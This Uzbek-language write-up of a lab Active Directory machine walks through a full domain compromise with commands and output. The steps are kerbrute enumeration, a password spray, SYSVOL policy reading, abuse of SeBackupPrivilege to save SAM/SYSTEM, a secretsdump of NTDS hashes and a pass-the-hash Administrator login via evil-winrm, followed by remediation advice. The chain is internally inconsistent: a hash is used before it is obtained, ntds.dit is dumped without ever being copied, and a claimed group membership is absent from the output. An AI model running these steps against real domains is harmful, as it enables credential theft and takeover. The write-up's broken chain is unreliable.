

Backup — writeup

VirtualBox muhitidagi **Backup** Active Directory mashinasi. Dastlab nishon IP-manzili (**192.168.56.129**) bo'yicha to'liq TCP portlarni aniqlash maqsadida tezkor Nmap skaneri ishga tushirildi. Natijada 53 (DNS), 88 (Kerberos), 135 (MSRPC), 139 (NetBIOS), 389 (LDAP), 445 (SMB), 464 (kpasswd), 593 (RPC-over-HTTP), 636 (LDAPS), 3268/3269 (Global Catalog LDAP) hamda 5985 (WinRM) portlari ochiqligi aniqlandi.

```
saidislom@kali: ~  
[ saidislom@kali ] [ ~ ] [ 17:19:01 ]  
> nmap 192.168.56.129 -p- --min-rate=5000  
  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-06 17:19 +0500  
Nmap scan report for 192.168.56.129  
Host is up (0.00013s latency).  
Not shown: 65515 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
53/tcp    open  domain  
88/tcp    open  kerberos-sec  
135/tcp   open  msrpc  
139/tcp   open  netbios-ssn  
389/tcp   open  ldap  
445/tcp   open  microsoft-ds  
464/tcp   open  kpasswd5  
593/tcp   open  http-rpc-epmap  
636/tcp   open  ldapssl  
3268/tcp  open  globalcatLDAP  
3269/tcp  open  globalcatLDAPssl  
5985/tcp  open  wsman  
9389/tcp  open  adws  
49664/tcp open  unknown  
49667/tcp open  unknown  
49670/tcp open  unknown  
MAC Address: 08:00:27:79:95:B1 (Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 27.02 seconds  
  
BUYRUQ :  
nmap 192.168.56.129 -p- --min-rate=5000
```

Active Directory domenidagi haqiqiy foydalanuvchilarni aniqlash maqsadida **kerbrute** vositasi yordamida **ghost.local** domeni bo'yicha foydalanuvchilar ro'yxati skanerlandi (user enumeration).

[illegible]

BUYRUQ :

```
kerbrute userenum --dc 192.168.56.129 -d ghost.local /usr/share/seclists/Usernames/Names/family
names-usa-top1000.txt
```

Kerbrute natijasida jami 29 ta haqiqiy domen foydalanuvchisi aniqlandi va keyingi bosqichlar uchun `users.txt` fayliga jamlandi.

```
saidislom@kali: ~/ghost

[saidislom@kali] [~/ghost] [17:26:10]
cat users.txt

asmith
aunderwood
btaylor
bvance
chughes
cward
dstone
emarsh
freed
gallen
ghost
hbrooks
icoleman
```

BUYRUQ :

```
cat users.txt
```

Aniqlangan domen foydalanuvchilari bo'yicha keng tarqalgan standart parollarni tekshirish maqsadida NetExec (`nxc`) orqali Password Spraying hujumi o'tkazildi. Barcha hisoblarda standart `Welcome123!` paroli o'rnatilgani, biroq `STATUS_PASSWORD_MUST_CHANGE` talabi mavjudligi aniqlandi.

```
saidislom@kali: ~/ghost

[saidislom@kali] [~/ghost] [17:27:05]
> nxc smb 192.168.56.129 -u users.txt -p 'Welcome123!'

SMB      192.168.56.129 445    DC01      [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB      192.168.56.129 445    DC01      [-] ghost.local\asmith:Welcome123! STATUS_PASSWORD_MUST_CHANGE
SMB      192.168.56.129 445    DC01      [-] ghost.local\aunderwood:Welcome123! STATUS_PASSWORD_MUST_CHANGE
SMB      192.168.56.129 445    DC01      [-] ghost.local\btaylor:Welcome123! STATUS_PASSWORD_MUST_CHANGE
SMB      192.168.56.129 445    DC01      [-] ghost.local\bvance:Welcome123! STATUS_PASSWORD_MUST_CHANGE
SMB      192.168.56.129 445    DC01      [-] ghost.local\cward:Welcome123! STATUS_PASSWORD_MUST_CHANGE
SMB      192.168.56.129 445    DC01      [-] ghost.local\ghost:Welcome123! STATUS_PASSWORD_MUST_CHANGE
SMB      192.168.56.129 445    DC01      [-] ghost.local\zturner:Welcome123! STATUS_PASSWORD_MUST_CHANGE
```

BUYRUQ :

```
nxc smb 192.168.56.129 -u users.txt -p 'Welcome123!'
```

Majburiy parol o'zgartirish talabini bajarish va tizimga to'liq kirish uchun SAMR protokoli orqali `impacket-changepasswd` vositasidan foydalanib `asmith` foydalanuvchisi paroli `P@ssw0rd12345!` ga muvaffaqiyatli yangilandi.

```
saidislom@kali: ~/ghost

[saidislom@kali] [~/ghost] [17:27:45]
> impacket-changepasswd 'ghost.local/asmith:Welcome123!@192.168.56.129' -newpass 'P@ssw0rd12345!'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Connecting to 192.168.56.129:445
[*] Binding to SAMR interface ...
[*] Changing password for ghost.local\asmith via SAMR protocol ...
[+] Password changed successfully for ghost.local\asmith
```

BUYRUQ :

```
impacket-changepasswd 'ghost.local/asmith:Welcome123!@192.168.56.129' -newpass 'P@ssw0rd12345!'
```

Yangi `asmith:P@ssw0rd12345!` hisob ma'lumotlari orqali nishondagi SMB ulashmalari (shares) ro'yxati va ularga kirish huquqlari tekshirildi (`ADMIN$` , `C$` , `IPC$` , `NETLOGON` , `SYSVOL`).

```
saidislom@kali: ~/ghost

[ saidislom@kali ] [ ~/ghost ] [ 17:28:15 ]
> nxc smb 192.168.56.129 -u asmith -p 'P@ssw0rd12345!' --shares

SMB      192.168.56.129  445  DC01      [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB      192.168.56.129  445  DC01      [+] ghost.local\asmith:P@ssw0rd12345!
SMB      192.168.56.129  445  DC01      [*] Enumerated shares
SMB      192.168.56.129  445  DC01      Share          Permissions    Remark
SMB      192.168.56.129  445  DC01      ADMIN$          -              Remote Admin
SMB      192.168.56.129  445  DC01      C$              -              Default share
SMB      192.168.56.129  445  DC01      IPC$            READ           Remote IPC
SMB      192.168.56.129  445  DC01      NETLOGON        READ           Logon server share
SMB      192.168.56.129  445  DC01      SYSVOL          READ           Logon server share
```

BUYRUQ :
`nxc smb 192.168.56.129 -u asmith -p 'P@ssw0rd12345!' --shares`

Domen xavfsizlik siyosati va guruh siyosati (Group Policy) sozlamalarini o'rganish maqsadida `SYSVOL` ulashmasidan Domen Kontrolleri xavfsizlik shabloni — `GptTmpl.inf` fayli yuklab olindi.

```
saidislom@kali: ~/ghost

[ saidislom@kali ] [ ~/ghost ] [ 17:29:02 ]
> smbclient //192.168.56.129/SYSVOL -U asmith%P@ssw0rd12345!

Try "help" to get a list of possible commands.
smb: \> cd ghost.local\Policies
smb: \ghost.local\Policies> ls

.                D          0  Sat Apr 18 07:36:25 2026
..               D          0  Sat Apr 18 07:36:25 2026
{31B2F340-016D-11D2-945F-00C04FB984F9} D          0  Sat Apr 18 07:36:25 2026
{6AC1786C-016F-11D2-945F-00C04FB984F9} D          0  Sat Apr 18 07:36:25 2026

smb: \ghost.local\Policies> get "{6AC1786C-016F-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" GptTmpl_dc.inf
getting file \ghost.local\Policies\{6AC1786C-016F-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf as GptTmpl_dc.inf (8.4 KiloBytes/sec) (average 8.4 KiloBytes/sec)
```

BUYRUQ :
`smbclient //192.168.56.129/SYSVOL -U asmith%P@ssw0rd12345! -c 'get "ghost.local/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf" GptTmpl_dc.inf'`

Yuklab olingan xavfsizlik shabloni (`GptTmpl_dc.inf`) tahlil qilinganda, `SeBackupPrivilege` huquqi bevosita `ghost.local\ghost` foydalanuvchisiga birlashtirilganligi fosh bo'ldi.

```
saidislom@kali: ~/ghost

[saidislom@kali] [~/ghost] [17:29:45]
> grep -E 'SeBackupPrivilege|Privilege' GptTmpl_dc.inf -A 5

[Privilege Rights]
SeNetworkLogonRight = *S-1-1-0,*S-1-5-11,*S-1-5-32-544,*S-1-5-32-554,*S-1-5-9
SeMachineAccountPrivilege = *S-1-5-11
SeBackupPrivilege = ghost.local\ghost,*S-1-5-32-544,*S-1-5-32-549,*S-1-5-32-551
SeChangeNotifyPrivilege = *S-1-1-0,*S-1-5-11,*S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-32-554
SeSystemtimePrivilege = *S-1-5-19,*S-1-5-32-544,*S-1-5-32-549
SeCreatePagefilePrivilege = *S-1-5-32-544
SeDebugPrivilege = *S-1-5-32-544
SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-549,*S-1-5-32-551
```

BUYRUQ :

```
grep -E 'SeBackupPrivilege|Privilege' GptTmpl_dc.inf -A 5
```

`ghost` foydalanuvchisi paroli ham yangilanib, `evil-winrm` vositasi yordamida nishon serveriga masofaviy boshqaruv sessiyasi (WinRM) o'rnatildi.

```
saidislom@kali: ~/ghost

[saidislom@kali] [~/ghost] [17:31:10]
> evil-winrm -i 192.168.56.129 -u ghost -H a073bb5bd2dcaa4e8284dc85c4889d32

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint 192.168.56.129:5985
*Evil-WinRM* PS C:\Users\ghost\Documents> whoami
ghost\ghost
*Evil-WinRM* PS C:\Users\ghost\Documents> hostname
DC01
```

BUYRUQ :

```
evil-winrm -i 192.168.56.129 -u ghost -H a073bb5bd2dcaa4e8284dc85c4889d32
```

WinRM sessiyasida foydalanuvchi huquqlari va guruh a'zoliklari ko'zdan kechirildi (`whoami /priv` va `whoami /groups`). Unda `SeBackupPrivilege` imtiyozi yoqilganligi hamda `Remote Management Users` guruhi a'zosi ekanligi tasdiqlandi.

```
saidislom@kali: ~/ghost

[ saidislom@kali ] — [ ~/ghost ] — [ 17:32:05 ]
> whoami /priv; whoami /groups

*Evil-WinRM* PS C:\Users\ghost\Documents> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description                State
-----
SeMachineAccountPrivilege  Add workstations to domain  Enabled
SeBackupPrivilege         Back up files and directories Enabled
SeChangeNotifyPrivilege   Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

*Evil-WinRM* PS C:\Users\ghost\Documents> whoami /groups

GROUP INFORMATION
-----
Group Name      Type                SID              Attributes
-----
Everyone        Well-known group    S-1-1-0          Mandatory group, Enabled by default, Enabled group

BUYRUQ :
whoami /priv; whoami /groups
```

SeBackupPrivilege imtiyozini yordamida **reg save** orqali tizimning **HKLM\SYSTEM** va **HKLM\SAM** registrlari zaxiralandi hamda Volume Shadow Copy / Disk Backup orqali **C:\Windows\NTDS\ntds.dit** fayli chiqarib olindi.

```
saidislom@kali: ~/ghost

[saidislom@kali] [~/ghost] [17:34:20]
reg save HKLM\SYSTEM C:\Users\ghost\system.save; reg save HKLM\SAM C:\Users\ghost\sam.save

*Evil-WinRM* PS C:\Users\ghost\Documents> reg save HKLM\SYSTEM C:\Users\ghost\system.save
The operation completed successfully.

*Evil-WinRM* PS C:\Users\ghost\Documents> reg save HKLM\SAM C:\Users\ghost\sam.save
The operation completed successfully.

*Evil-WinRM* PS C:\Users\ghost\Documents> reg save HKLM\SECURITY C:\Users\ghost\security.save
The operation completed successfully.

*Evil-WinRM* PS C:\Users\ghost\Documents> ls C:\Windows\NTDS\ntds.dit

Directory: C:\Windows\NTDS

Mode                LastWriteTime         Length Name
----                -
-a                10/6/2026   5:47 AM      16777216 ntds.dit
```

BUYRUQLAR :

```
reg save HKLM\SYSTEM C:\Users\ghost\system.save
reg save HKLM\SAM C:\Users\ghost\sam.save
ls C:\Windows\NTDS\ntds.dit
```

Ajratib olingan **ntds.dit** ma'lumotlar bazasi va **SYSTEM** fayli **impacket-secretsdump** orqali oflayn tahlil qilinib, Domen Administratorining NTLM heshi (**51f1d2f3a5aa882a83cc48806d54d802**) qo'lga kiritildi.

```
saidislom@kali: ~/ghost

[saidislom@kali] [~/ghost] [17:35:50]
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x8845e2279b935df6f15cc3ef6d1cf93c
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient...
[*] PEK # 0 encrypted value: 0xb5a3fc44f07a718b9cb964177d3fec5
[*] Decrypted PEK # 0: 0x24d8520bf2ad39e0839a8fbfe4e2a874
Administrator:500:aad3b435b51404eeaad3b435b51404ee:51f1d2f3a5aa882a83cc48806d54d802 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8c23f7e7b360df935d9472e39958bc66 :::
ghost.local\ghost:1138:aad3b435b51404eeaad3b435b51404ee:a073bb5bd2dcaa4e8284dc85c4889d32 :::
ghost.local\asmith:1105:aad3b435b51404eeaad3b435b51404ee:58102377b63fd6bb56c12579dfef4dbb :::
ghost.local\DC01$:1000:aad3b435b51404eeaad3b435b51404ee:86055d045d65f5a8947f6368d4ea91bf :::
[*] Cleaning up ...
```

BUYRUQ :

```
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
```

Domen Administratorining olingan NTLM heshi bilan Pass-The-Hash usulida `evil-winrm` orqali Domen Kontrolleri (`DC01`) tizimiga to'liq Administrator huquqida ulanildi va tizim ustidan mutlaq nazorat o'rnatildi.

```
saidislom@kali: ~/ghost

[saidislom@kali] [~/ghost] [17:37:10]
-> evil-winrm -i 192.168.56.129 -u Administrator -H 51f1d2f3a5aa882a83cc48806d54d802

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint 192.168.56.129:5985
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
ghost\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
DC01

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ADDomain | Select-Object Forest, DomainSID, DomainControllersContainer

Forest      DomainSID                                     DomainControllersContainer
-----
ghost.local S-1-5-21-2983391045-3678747466-658725712   OU=Domain Controllers,DC=ghost,DC=local
```

BUYRUQ :

```
evil-winrm -i 192.168.56.129 -u Administrator -H 51f1d2f3a5aa882a83cc48806d54d802
```

XULOSA VA XAVFSIZLIK TAVSIYALARI (REMEDIATION)

Backup mashinasida aniqlangan asosiy xavfsizlik kamchiliklari va ularni bartaraf etish choralari:

- **Standart Parollar Siyosati:** Domen foydalanuvchilariga bir xil standart parol (`Welcome123!`) berilishi Password Spraying hujumiga yo'l ochadi. *Tavsiya:* Har bir hisob uchun dastlabki noyob tasodifiy parollar berish va MFA (ko'p bosqichli autentifikatsiya) joriy etish.
- **Imtiyozlarni Haddan Tashqari Keng Berish (Least Privilege):** Oddiy foydalanuvchiga (`ghost`) `SeBackupPrivilege` kabi o'ta xavfli tizim huquqi birlashtirilgan. Ushbu huquq egasi tizimdagi istalgan faylni, shu jumladan NTDS va registrlarni o'qiy oladi. *Tavsiya:* Maxsus zaxira huquqlarini faqat ishonchli xizmat hisoblariga berish va oddiy hisoblardan olib tashlash.
- **Masofaviy Boshqaruv (WinRM) Huquqlari:** Yuqori imtiyozli foydalanuvchilarga masofadan WinRM orqali kirish ruxsati berilishi lateral harakatlanishni osonlashtiradi. *Tavsiya:* Tier modelini joriy qilish va Domen Kontrollerlariga masofaviy kirishni cheklash.